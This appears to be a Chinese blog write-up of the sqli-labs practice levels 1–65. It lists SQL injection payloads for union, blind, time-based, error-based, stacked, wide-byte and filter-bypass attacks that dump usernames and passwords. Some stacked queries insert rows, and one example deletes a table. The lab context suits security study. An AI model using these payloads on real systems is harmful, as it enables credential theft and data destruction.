Sqli-labs-master(1-65)

发布于:2023-01-22 ⋅ 阅读:(346) ⋅ 点赞:(0)

1判断数据库类型

2数据类型

3提交方式

4回显/盲注

5查询方式

6注入拓展

7WAF绕过

方法:

1.1判断是否存在sql注入

1.提示你输入数字值的ID作为参数,我们输入?id=1

2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型

4.可以根据结果指定是何种数据类型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

联合查询:两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3--+

?id=1'order by 4--+Unknown column '4' in 'order clause'

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

第三步:获取当前数据库名和版本号,这个就涉及mysql数据库的一些函数,记得就行。

??id=-1'union select 1,database(),version()--+

第四步:爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

 第五步:爆字段名。接下来我们就是得到该表下的字段名以及内容。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_name字段内容是users的所有column_name的内。

注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

第六步:爆内容。通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

布尔盲注:请求对错出现不一样页面。主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。可以使用burp或写脚本

第一步:数据库名字长度

?id=1'and length(database())>9--+

#大于号可以换成小于号或者等于号,主要是判断数据库的长度。length()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

第二步:数据库名字

?id=1'and ascii(substr((select database()),1,1))=115--+

?id=1' and substr(database(),1,1)='s'--+

#substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,这样我们可以很好确定数字根据数字找到对应的字符。

第三步:判断所有表名字符长度

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>66--+

第四步:逐一判断表名

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

第五步:判断所有字段名的长度

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

第六步:逐一判断字段名

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

第七步:判断字段内容长度

?id=1' and length((select group_concat(username,password) from users))>109--+

第八步:逐一检测内容

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

时间注入:时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。

第一步:判断参数构造

?id=1' and if(1=1,sleep(5),1)--+

第二步:判断数据库名长度

?id=1'and if(length((select database()))>9,sleep(5),1)--+

第三步:逐一判断数据库字符

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

第四步:判断所有表名长度

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

第五步:逐一判断表名

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

第六步:判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

第七步:逐一判断字段名

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

第八步:判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

第九步:逐一检测内容

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

报错注入

1 extractvalue(XML_document,XPath_string)

extractvalue(1,concat(0x5c,database()))

extractvalue()函数最多显示32位;   0x5c \;    0x7e ~

爆版本  1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#

爆数据库1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#

爆表名1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#  

爆字段名 1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

爆字段内容该格式针对mysql数据库1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#

爆字段内容1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#                     

2 updatexml(XML_document, XPath_string, new_value)

爆版本123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#

爆数据库123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 

爆表名123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 

爆字段名 123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#

爆密码该格式针对mysql数据库123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#

爆其他表就可以,下面是爆emails表

123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#

爆字段内容1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#

堆叠注入

定义: Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked  injection。

原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?

区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

https://www.cnblogs.com/backlion/p/9721687.html

宽字节注入

宽字节注入源于程序员设置MySQL连接时的错误配置,如下:set character_set_client=gbk这样的配置会引发编码转换从而导致绕过某些防护实现注入漏洞。

具体分析一下原理:

1正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的',就会被转义为\';

2若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。

现在基本都会将mysql的连接配置设置为:[set character_set_client=binary]来解决这个问题

https://www.cnblogs.com/bmjoker/p/9134830.html

第一关 联合注入 GET --+

字符型 有报错,有回显

第二关

       数字型【测试输入‘,“,),‘),“)等都会报错,且报错信息看不到数字】

第三关

字符型‘) 有报错,有回显

第四关

字符型“) 有报错,有回显

第五关  布尔注入

字符型 有报错,无回显

请求对错出现不一样页面。联合注入就没有用,因为联合注入是需要页面有回显位。

第六关

字符型 有报错,无回显

第七关

字符型‘))有报错,但是没有报错信息,无回显

第八关

       字符型‘ 无报错,但是有对错参照,无回显

第九关  时间注入

       不管输入什么页面显示的东西都是一样的。这时布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。

       字符型‘

第十关

       字符型“

第十一关 POST #

       字符型‘ 有报错信息,有回显

1‘ or 1=1#知道sql语句我们可以构造一个恒成立的sql语句,看能查询出什么

第十二关

1“) or 1=1#判断是否存在sql注入

字符型“) 有报错信息,有回显

第十三关

       字符型‘) 有报错信息,无回显,有对错;

       布尔注入 1')  or length((database()))=8#

报错注入 1')  and/or extractvalue(1,concat(0x5c,database()))#

第十四关

       字符型” 有报错信息,无回显,有对错;

       报错注入、布尔盲注

第十五关

       字符型‘,无报错信息,无回显,有对错页面

       布尔盲注

第十六关

       字符型“),无报错信息,无回显,有对错页面

       布尔盲注

第十七关 UPDATE 报错注入

让我们修改密码。然后不管怎么尝试,无论在用户名框还是在密码框都没用。这时候可能就需要一个存在于数据库中的用户名,于是我们尝试Dhakkan用户名,密码为1’,有报错。源码对用户名有过滤

查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。

UPDATE users SET password = '$passwd' WHERE username='$row1'

get_magic_quotes_gpc(),该函数返回检测PHP环境配置变量get_magic_quotes_gpc的值,当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(也就是在它前面加上反斜杠),当值为0的时候就不会转义

stripslashes(),该函数用于去除字符串里的反斜杠,也就是防止转义

ctype_digit(),该函数用于检测字符串是否为纯数字,是则返回true,不是返回false

mysql_real_escape_string(),该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入

intval(),该函数用于将字符串转化为纯数字

字符型‘ 有报错信息,无回显,无对错

    当输入1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 会报错You can't specify target table 'users' for update in FROM clause原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。

 

第十八关  INSERT    ,   USER-AGENT

       页面有一个ip, 查看源码,发现对于输入的账户名和密码都有进行检查,往下看会发现一个插入的sql语句;当我们输入正确的账户名和密码,我们的User-Agent字段内容就会出现在页面上

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

字符型1’,2,3)# 有报错信息

报错注入

第十九关INSERT     ,     Referer

       INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')

       页面有一个ip,当输入正确的用户名和密码时,会弹出referer内容

       字符型1’,2)#  有报错信息

第二十关 COOKIE

当输入正确的用户名和密码时,会弹出cookie内容

setcookie(name,value,expire,path,domain,secure)

setcookie('uname', $cookee, time()+3600);

字符型‘   有报错信息,有回显

联合注入,报错注入

第二十一关COOKIE  Base64

       当输入正确的用户名和密码时,会弹出cookie内容,但是其内容为basa64编码格式

       setcookie('uname', base64_encode($row1['username']), time()+3600);

字符型‘)有报错信息,有回显

第二十二关COOKIE  Base64

       当输入正确的用户名和密码时,会弹出cookie内容,但是其内容为basa64编码格式

       setcookie('uname', base64_encode($row1['username']), time()+3600);

字符型“ 有报错信息,有回显

第二十三关注释符(--,#)被过滤  GET  ;%00

       字符型‘ 有报错信息,有回显

    ?id=1' or '1'='1
    ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
       ?id=0' union select 1,group_concat(username,0x3a,password),3 from users;%00

第二十四关 二次注入 UPDATE

       字符型’

对于账户名和密码都使用mysql_real_escape_string函数对于特殊字符进行转义

$username = mysql_real_escape_string($_POST["login_user"]);

$password = mysql_real_escape_string($_POST["login_password"]);虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。

Update users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

第二十五关 过滤and和or

       字符型‘,有报错提示,有回显

$id= preg_replace('/or/i',"", $id);

       $id= preg_replace('/AND/i',"", $id);

       方法:1双写绕过;   2||和&&;

?id=-1' union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users')--+ 

第二十五a关

       数字型 无报错,有回显

第二十六关  过滤 空格 和 and 和 or 和注释符 - - 和 #

       字符型‘ 有报错信息,有回显

       $id= preg_replace('/or/i',"", $id);              

       $id= preg_replace('/and/i',"", $id);           

       $id= preg_replace('/[\/\*]/',"", $id);           //strip out /*

       $id= preg_replace('/[--]/',"", $id);            

       $id= preg_replace('/[#]/',"", $id);             

       $id= preg_replace('/[\s]/',"", $id);       //Strip out spaces

       $id= preg_replace('/[\/\\\\]/',"", $id);         //Strip out slashes斜杠

空格绕过方法:利用括号()将关键字都包起来,实现空格的效果;   %a0

报错注入空格使用比较少所以我们可以使用报错注入

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0   爆表

第二十六a关

       字符型‘)  无报错信息,有回显

       ?id=0')union%0Bselect%0B1,2,3||('                  %0b TAB键(垂直)

第二十七关 过滤 空格、union/UNION/Union、select/SELECT/Select、--、#

       字符型‘  有报错信息,有回显                    %a0 空格

       $id= preg_replace('/[\/\*]/',"", $id);           //strip out /*

$id= preg_replace('/[--]/',"", $id);             //Strip out --.

$id= preg_replace('/[#]/',"", $id);              //Strip out #.

$id= preg_replace('/[ +]/',"", $id);          //Strip out spaces.

$id= preg_replace('/select/m',"", $id);     //Strip out spaces.

$id= preg_replace('/union/s',"", $id);      //Strip out union

$id= preg_replace('/select/s',"", $id);      //Strip out select

$id= preg_replace('/UNION/s',"", $id);          //Strip out UNION

$id= preg_replace('/SELECT/s',"", $id);          //Strip out SELECT

$id= preg_replace('/Union/s',"", $id);     //Strip out Union

$id= preg_replace('/Select/s',"", $id);     //Strip out select

m 字符串视为多行,s 将字符串视为单行,换行符作为普通字符

多行模式影响 ^ 和 $ 的匹配,单行模式影响 . 的匹配

       ?id=0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1
第二十七a关

字符型”  无报错信息,有回显   %0a新建一行

第二十八关  过滤 空格、--、#、union select
       字符型‘) 无报错信息,有回显
       $id= preg_replace('/[\/\*]/',"", $id);  //strip out /*
       $id= preg_replace('/[--]/',"", $id);    //Strip out --
       $id= preg_replace('/[#]/',"", $id);     //Strip out #
       $id= preg_replace('/[ +]/',"", $id);    //Strip out spaces.
       //$id= preg_replace('/select/m',"", $id);           //Strip out spaces.
       $id= preg_replace('/union\s+select/i',"", $id);      //Strip out UNION & SELECT.

       \s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写。所以我们可以使用重写绕过写

       ?id=0') union%0A union%0Aselect select%0A1,2,3%0Aor('1')=('1

第二十八a关

       字符型‘)无报错信息,有回显

       $id= preg_replace('/union\s+select/i',"", $id);       //Strip out spaces.

第二十九关   参数污染   双服务器

       字符型‘ 有报错信息,有回显

      

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

重点:index.php?id=1&id=2,你猜猜到底是显示 id=1 的数据还是显示 id=2 的?

Explain:apache(php)解析最后一个参数,即显示 id=2 的内容。Tomcat(jsp)解析第一个参数,即显示 id=1 的内容。

Answer:此处应该是 id=2 的内容,应为时间上提供服务的是 apache(php)服务器,返回的数据也应该是 apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

       ?id=1&id=0'union select 1,2,3--+

第三十关

       字符型“ 无报错信息,有回显

第三十一关

       字符型“) 有报错信息,有回显

第三十二关 宽字节注入 GET

       字符型‘ 有报错信息,有回显

对反斜线、单引号和双引号进行了转义

将接收的参数用宽字节gbk去解释,所以造成宽字节注入

?id=1%df%27--+

影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码

?id= -1

%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+

user=7573657273

第三十三关

       字符型‘ 有报错信息,有回显

       addslashes()函数过滤

 

第三十四关 宽字节注入 POST

字符型‘ 无报错提示,有回显,有对错页面

?id=1%df’ or 1=1#

第三十五关 get

       数字型 有报错显示【测试输入‘,“,),‘),“)等都会报错,且报错信息看不到数字】,有回显

addslashes()函数过滤 十六进制

第三十六关 get

字符型‘ 无报错信息,有回显

function check_quotes($string)

{

    $string= mysql_real_escape_string($string);   

    return $string;

}

mysql_query("SET NAMES gbk");

第三十七关 post

字符型‘ 无报错提示,有回显,有对错页面

mysql_real_escape_string()转义

第三十八关  堆叠注入 GET

字符型‘ 有报错提示,有回显

因为存在mysqli_multi_query()函数,该函数支持多条sql语句同时进行

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

第三十九关

        数字型 有报错提示 有回显

?id= 1;insert into users(id,username,password) values('123','gil','sa')--+

?id= 1;insert into users(id,username,password) values('123','gil','sa');

第四十关

       字符型‘)  无报错提示,有回显

第四十一关

        数字型 无报错提示,有回显

第四十二关 堆叠注入 POST

        字符型‘ 有报错提示

        对用户名进行了过滤,对密码没有过滤,用了mysqli_multi_query()

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

    $password = $_POST["login_password"];

第四十三关

        字符型‘)有报错提示

第四十四关

        字符型‘ 无报错提示

第四十五关

        字符型‘) 无报错提示

第四十六关 order by

        数字型 有报错提示 (输入‘,“,)等,都是同一错误页面)

       $sql = "SELECT * FROM users ORDER BY $id";该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用报错注入。

?sort=-1 or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema=database() )),1) --+

Subquery returns more than 1 row

?sort=-1  or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema=database() limit 0,1 )),1) --+

第四十七关

       字符型‘ 有报错提示

第四十八关

       数字型 无报错提示 (输入‘,“,)等,都是同一错误页面)

       时间注入?sort=1 and if(1=1,sleep(5),1)

第四十九关

       字符型‘ 无报错提示,可时间注入

第五十关

       数字型 有报错显示,可报错注入 (输入‘,“,)等,都是同一错误页面)

使用了mysqli_multi_query(),可堆叠注入

第五十一关

字符型‘ 有报错提示

使用了mysqli_multi_query(),可堆叠注入

第五十二关

       数字型 无报错提示,可时间注入(输入‘,“,)等,都是同一错误页面)

使用了mysqli_multi_query(),可堆叠注入

第五十三关

       字符型‘ 无报错提示,可时间注入

使用了mysqli_multi_query(),可堆叠注入

第五十四关 select

字符型‘ 无报错提示,有回显 有对错页面

第五十五关

       字符型)无报错信息 有回显 有对错页面

       $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

第五十六关

       字符型‘)无报错信息 有回显 有对错页面

第五十七关

       字符型“ 无报错信息 有回显 有对错页面

第五十八关

       字符型‘ 有报错信息 有回显

因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行。但是有报错显示,所以可以使用报错注入。

第五十九关

       数字型 有报错信息 有回显 报错注入(理由同上)

第六十关

       字符型“) 有报错信息 有回显 报错注入(理由同上)

第六十一关

       字符型‘)) 有报错信息 有回显 报错注入(理由同上)

第六十二关

字符型‘) 无报错信息 有回显 布尔盲注和时间注入(理由同上)

第六十三关

字符型‘ 无报错信息 有回显 布尔盲注和时间注入(理由同上)

第六十四关

       字符型)) 无报错信息 有回显 布尔盲注和时间注入(理由同上)

第六十五关

字符型”) 无报错信息 有回显 布尔盲注和时间注入(理由同上)


网站公告

今日签到

点亮在社区的每一天
去签到